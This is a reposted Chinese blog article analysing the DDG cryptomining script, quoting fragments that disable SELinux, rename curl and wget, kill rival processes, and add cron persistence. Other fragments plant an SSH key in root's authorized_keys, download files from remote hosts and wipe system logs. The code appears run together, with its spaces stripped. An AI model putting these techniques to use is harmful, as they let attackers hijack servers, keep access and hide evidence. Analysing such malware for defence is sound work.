当前位置: 首页 > 科技观察

实力剖析一个挖矿脚本,风骚操作亮眼

时间:2023-03-15 00:39:20 科技观察

本文转载自微信公众号《味姐》,转载请联系味姐公众号。最近cpu跑疯了,就像吃了壮阳药一样,一直在升温,由于机器太多,所以很少,安全保护没有到位,一直在躺着一直在角落里疯狂的跑,直到一个统一的监控脚本接管了这些机器,异常情况才浮出水面,最后发现了一些奇怪的进程,发现是挖矿脚本,下载下来研究了一下它,我发现脚本的编写者水平比较高,虽然在别人的机器上挖矿是不道德的,但掩盖不了脚本编写者的风骚操作,挖矿是最令人困惑的活动之一在计算机技术,但它赚钱。据悉,该脚本名为DDG,已挖出价值超过1000万元的虚拟货币。出于学习的目的,我稍微分析了一下这个神奇的脚本,也算是吸取了它的精华,为我所用。这件事我没敢跟老板说,因为他不明白,惹来了麻烦。但是和大家交流也无妨,因为你懂。code1#!/bin/sh脚本的第一行看起来像是注释,其实不是。它指定将使用哪个shell来执行下一个脚本。我们平时使用的bash、zsh等都属于sh的超集。本脚本使用sh作为执行shell,具有更好的可移植性。code2setenforce02>dev/nullechoSELINUX=disabled>/etc/sysconfig/selinux2>/dev/nullsetenforce是linuxselinux防火墙配置命令,执行setenforce0表示关闭selinux防火墙。2代表标准错误(stderr)。所以后面使用重定向字符将命令的错误输出定向到/dev/null设备。这个设备是一个虚拟设备,这意味着它什么都不做。很适合悄悄做坏事。代码3sync&&echo3>/proc/sys/vm/drop_caches脚本贴心的帮我们释放了一些内存资源,以便获取更多的资源用于挖矿。众所周知,Linux系统在长时间运行的过程中,会产生大量的缓存。清除它的方法是在drop_caches文件中写入一个数字。这个数字通常是3。sync命令将所有未写入的系统缓冲区写入磁盘,你可以在执行后安全地释放缓存。代码4crondir='/var/spool/cron/'"$USER"cont=`cat${crondir}`ssht=`cat/root/.ssh/authorized_keys`echo1>/etc/sysupdatesrtdir="/etc/sysupdates"bbdir="/usr/bin/curl"bbdira="/usr/bin/cur"ccdir="/usr/bin/wget"ccdira="/usr/bin/wge"mv/usr/bin/wget/usr/bin/getmv/usr/bin/xget/usr/bin/getmv/usr/bin/get/usr/bin/wgemv/usr/bin/curl/usr/bin/urlmv/usr/bin/xurl/usr/bin/urlmv/usr/bin/url/usr/bin/cur没错,上面的语句完成了一些常用的操作。值得注意的是,它使用mv命令对我们常用的一些命令进行了重命名。这条命令执行的时候,会出现分功能的情况。该脚本更改了计算机上的一些文件,这是一种犯罪行为。为了复用一些功能,脚本抽象了很多功能。我们直接跳到main函数的执行,看一下流程。代码5首先是kill_miner_proc函数。代码很长,就不全部贴出来了。kill_miner_proc(){psauxf|grep-vgrep|grep"mine.moneropool.com"|awk'{print$2}'|xargskill-9...pkill-fbiosetjenkinspkill-fLoopback...crontab-rrm-rf/var/spool/cron/*矿场是一个爱与死的场。该方法首先使用ps、grep、kill组合杀掉节点的挖矿脚本,然后停止节点的cron脚本。在此脚本中,使用了pkill命令。这个命令会终止进程,根据终端号踢出用户,比较暴力。代码6接下来执行kill_sus_proc函数。psaxf-o"pid"|whilereadprociddo...doneps加上o参数,可以指定要输出的列,这里只输出进程的pid,然后使用read函数遍历procid。code7ls-l/proc/$procid/exe|grep/tmpif[$?-ne1]then...fi上面就是遍历操作过程,我们可以看到if语句的语法。$在哪里?指的是前一个命令的退出状态。0表示没有错误,任何其他值表示错误。-ne表示不相等,表示可以匹配到字符串tmp。code8psaxf-o"pid%cpu"|awk'{if($2>=40.0)print$1}'|whilereadprociddo...done呵呵,上面还有一个循环遍历。但是这次的目标是使用40%以上的cpu进程。看过xjjdog对awk分析的同学应该对这个命令非常熟悉。这有点狠:要是影响到我的挖矿进程,我就死定了!为什么太急了?代码9之后,脚本针对不同的用户属性进行不同的操作。第一个是根用户。通过判断$rtdir文件是否存在来判断是否为root权限。chattr-i/etc/sysupdate*chattr-i/etc/config.json*chattr-i/etc/update.sh*chattr-i/root/.ssh/authorized_keys*chattr-i/etc/networkservice使用chattr命令,把一些重要的文件变成只读属性,不能随意更改,也够害人的了。然后,运行cron程序,将脚本的更新服务加入定时。这是以下脚本。代码10if[!-f"/usr/bin/crontab"]thenecho"*/30****sh/etc/update.sh>/dev/null2>&1">>${crondir}else[[$cont=~"update.sh"]]||(crontab-l;echo"*/30****sh/etc/update.sh>/dev/null2>&1")|crontab-finote[[$cont=~"update.sh"]]这是一小段代码,非常诡异。[[]]是shell中的内置命令,支持字符串的模式匹配。在使用=~的时候,竟然还支持shell的正则表达式,强大到离谱。它的输出是bool类型,所以可以用||用于拼接。后面的单括号()是一个命令组,括号内的多个命令用分号隔开,最后一个命令可以没有分号;效果和`cmd`基本一样。代码11完成预定任务后,需要配置ssh自动登录,将公钥加入信任列表即可。chmod700/root/.ssh/echo>>/root/.ssh/authorized_keyschmod600root/.ssh/authorized_keysecho"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/code12说曹操曹操就到了,下面的脚本使用``来操作。filesize_config=`ls-l/etc/config.json|awk'{print$5}'`if["$filesize_config"-ne"$config_size"]thenpkill-fsysupdaterm/etc/config.jsondownloads$config_url/etc/config.json$config_url_backupelseecho"noneeddownload"fi通过一系列操作得到配置文件的大小,如果判断文件大小不一致,则下载一个新的。这使用下载功能。shell中的函数看着怪怪的,后面的参数传递跟脚本传递一样传递给函数。13downloads$config_url/etc/config.json$config_url_backup这句代码中,传递了三个参数。当然,文件是从远程服务器下载的。域名以.de结尾,证明是德文域名,其他我们一无所知。下载(){if[-f"/usr/bin/curl"]thenecho$1,$2http_code=`curl-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencurl--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thencurl--connect-timeout10--retry100$1>$2elsecurl--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/cur"]thenhttp_code=`cur-I-m10-o/dev/null-s-w%{http_code}$1`if["$http_code"-eq"200"]thencur--connect-timeout10--retry100$1>$2elif["$http_code"-eq"405"]thencur--connect-timeout10--retry100$1>$2elsecur--connect-timeout10--retry100$3>$2fielif[-f"/usr/bin/wget"]thenwget--timeout=10--tries=100-O$2$1if[$?-ne0]thenwget--timeout=10--tries=100-O$2$3fielif[-f"/usr/bin/wge"]thenwge--timeout=10--tries=100-O$2$1if[$?-eq0]thenwge--timeout=10--tries=100-O$2$3fifi}在我看来,这个代码的作者又臭又长,根本没有体现出他应有的水平。应该是迫于deadline,没有考虑代码的复用,所以写的这么不规范。正如我们上面提到的,脚本更改了几个命令的名称,包括curl。这个命令太强大了,脚本作者忍不住加了很多参数。-I用于测试http头信息-m设置最大传输时间-o指定要保留的文件名。这里是/dev/null,呃呃呃呃-s静默模式。什么都不输出--connect-timeout连接超时--retry重试次数,如果没有curl就100次?然后用wget代替,套路是一样的。代码14之后是一系列类似的操作,最后是对iptables的一批操作。-jDROPserviceiptablesreloadcode15细心的脚本作者,也使用了清理操作日志的命令。history-cecho>/var/spool/mail/rootecho>/var/log/wtmpecho>/var/log/secureecho>/root/.bash_history不显示任何死角,潇洒走开。可见,不说是真正的挖矿程序,就这个小脚本,作者也是下了很大功夫的。脚本中命令众多,使用方法多样,压缩格式优雅。除了有点啰嗦,没有加密,是个很好的学习脚本。看了看被控制的机器后,我赶紧偷偷的重装了机器。就当做梦吧。老板一问,什么事也没有。有需要拿到完整剧本的同学。关注xjjdog微信公众号,回复wkjb即可获取。作者简介:品味小姐姐(xjjdog),一个不允许程序员走弯路的公众号。专注于基础架构和Linux。十年架构,每天百亿流量,与你探讨高并发世界,给你不一样的滋味。我的个人微信xjjdog0,欢迎加好友进一步交流。